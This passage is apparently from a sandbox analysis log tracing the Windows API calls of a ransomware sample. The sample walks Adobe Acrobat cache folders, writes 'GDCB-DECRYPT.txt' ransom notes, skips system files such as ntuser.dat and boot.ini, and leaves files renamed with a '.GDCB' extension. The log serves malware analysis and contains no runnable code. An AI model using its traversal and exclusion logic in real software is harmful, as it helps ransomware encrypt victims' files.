Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 258 [0170.399] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 258 [0170.399] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 258 [0170.399] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 257 [0170.399] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 257 [0170.399] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 257 [0170.399] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 257 [0170.399] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.399] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.399] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.399] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.400] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt") returned 263 [0170.400] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.400] GetLastError () returned 0x3 [0170.400] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 259 [0170.400] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 259 [0170.400] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 259 [0170.400] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 259 [0170.400] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 262 [0170.400] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 262 [0170.400] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 262 [0170.400] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 262 [0170.400] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.400] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.400] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.400] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.400] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.400] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.400] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.400] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.400] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.400] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 256 [0170.400] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 256 [0170.400] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 256 [0170.400] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 256 [0170.400] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.400] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.400] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.401] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.401] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.401] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.401] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.401] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.401] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.401] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 261 [0170.401] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 261 [0170.401] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 266 [0170.401] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 266 [0170.401] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 256 [0170.401] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 256 [0170.401] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.401] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.401] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.401] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.401] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt") returned 277 [0170.401] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\toolssearchcacherdr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.401] GetLastError () returned 0x3 [0170.401] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 258 [0170.401] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 258 [0170.401] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 253 [0170.401] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 253 [0170.402] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 253 [0170.402] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 253 [0170.402] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.402] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.402] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.402] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.402] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.402] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.402] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.402] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.402] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.402] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.402] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.402] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.402] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.402] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt") returned 254 [0170.402] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.404] GetLastError () returned 0x50 [0170.405] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.405] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.405] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.405] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.405] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt") returned 257 [0170.405] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.407] GetLastError () returned 0x50 [0170.407] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.407] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.407] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.407] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.407] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt") returned 265 [0170.408] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.408] GetLastError () returned 0x3 [0170.408] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.408] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.408] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.408] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.408] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\\\GDCB-DECRYPT.txt") returned 271 [0170.408] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.408] GetLastError () returned 0x3 [0170.408] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.408] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.408] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.409] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.409] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\\\GDCB-DECRYPT.txt") returned 277 [0170.409] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cache\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.409] GetLastError () returned 0x3 [0170.409] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 270 [0170.409] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 270 [0170.409] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 270 [0170.409] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 270 [0170.409] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.409] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.409] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.409] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.409] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.409] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.409] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.409] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.409] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.409] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 267 [0170.409] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 267 [0170.409] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.409] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.409] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.409] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.409] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\\\GDCB-DECRYPT.txt") returned 272 [0170.410] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application 